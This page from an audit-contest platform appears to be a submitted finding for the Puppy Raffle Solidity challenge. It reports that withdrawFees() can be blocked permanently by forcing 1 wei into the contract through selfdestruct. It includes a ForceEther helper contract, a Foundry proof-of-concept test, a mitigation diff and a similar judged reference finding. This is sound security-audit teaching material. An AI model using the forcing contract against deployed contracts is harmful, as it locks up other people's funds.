Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Forced Ether permanently blocks fee withdrawal

rvoffindings

Root + Impact

Description

withdrawFees() treats exact balance equality as proof that no players are active. That invariant is not enforceable: ETH can be forced into any contract through selfdestruct even when it has no payable receive function. After a valid round leaves only protocol fees, an attacker can force 1 wei into the raffle; the balance becomes totalFees + 1 and every withdrawal reverts forever.

function withdrawFees() external {
// @> Any forced surplus makes this equality permanently false.
require(
address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!"
);
uint256 feesToWithdraw = totalFees;
totalFees = 0;
payable(feeAddress).transfer(feesToWithdraw);
}

The revert message suggests this is a player-state check, but the code actually relies on an externally mutable ETH balance.

Risk

Likelihood: High

Any account can deploy a helper funded with 1 wei and force the value into the raffle. The action requires no permission, cooperation from participants, or payable fallback on the target.

Impact: Medium

All legitimately accrued protocol fees become unavailable through withdrawFees(). The surplus does not steal the winner's prize or change the fee recipient, so the primary impact is persistent fee-withdrawal denial of service.

Proof of Concept

contract ForceEther {
constructor() payable {}
​
function force(address payable target) external {
selfdestruct(target);
}
}
​
function testPoC_ForcedEtherBlocksFeeWithdrawal() public {
_enter(raffle, 4, 400, ENTRANCE_FEE);
vm.warp(block.timestamp + DURATION + 1);
raffle.selectWinner();
​
assertEq(address(raffle).balance, raffle.totalFees());
​
ForceEther helper = new ForceEther{value: 1 wei}();
helper.force(payable(address(raffle)));
​
assertEq(address(raffle).balance, uint256(raffle.totalFees()) + 1 wei);
vm.expectRevert("PuppyRaffle: There are currently players active!");
raffle.withdrawFees();
}

Observed against challenge commit 08e5b1fc6939b8da7792b2d13e43000c519d8897:

[PASS] testPoC_ForcedEtherBlocksFeeWithdrawal() (gas: 613870)

The original positive controls testCantWithdrawFeesIfPlayersActive() and testWithdrawFees() also passed; the forced 1 wei is the state change that breaks withdrawal.

Recommended Mitigation

Do not infer active-player state from the contract balance. Check the actual state variable and transfer only the accounted fee amount.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
payable(feeAddress).transfer(feesToWithdraw);
}

Define a separate policy for accidental or forced surplus, but never include that surplus in player-state or fee-accounting invariants. Add a regression test that forces 1 wei and still withdraws exactly totalFees.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!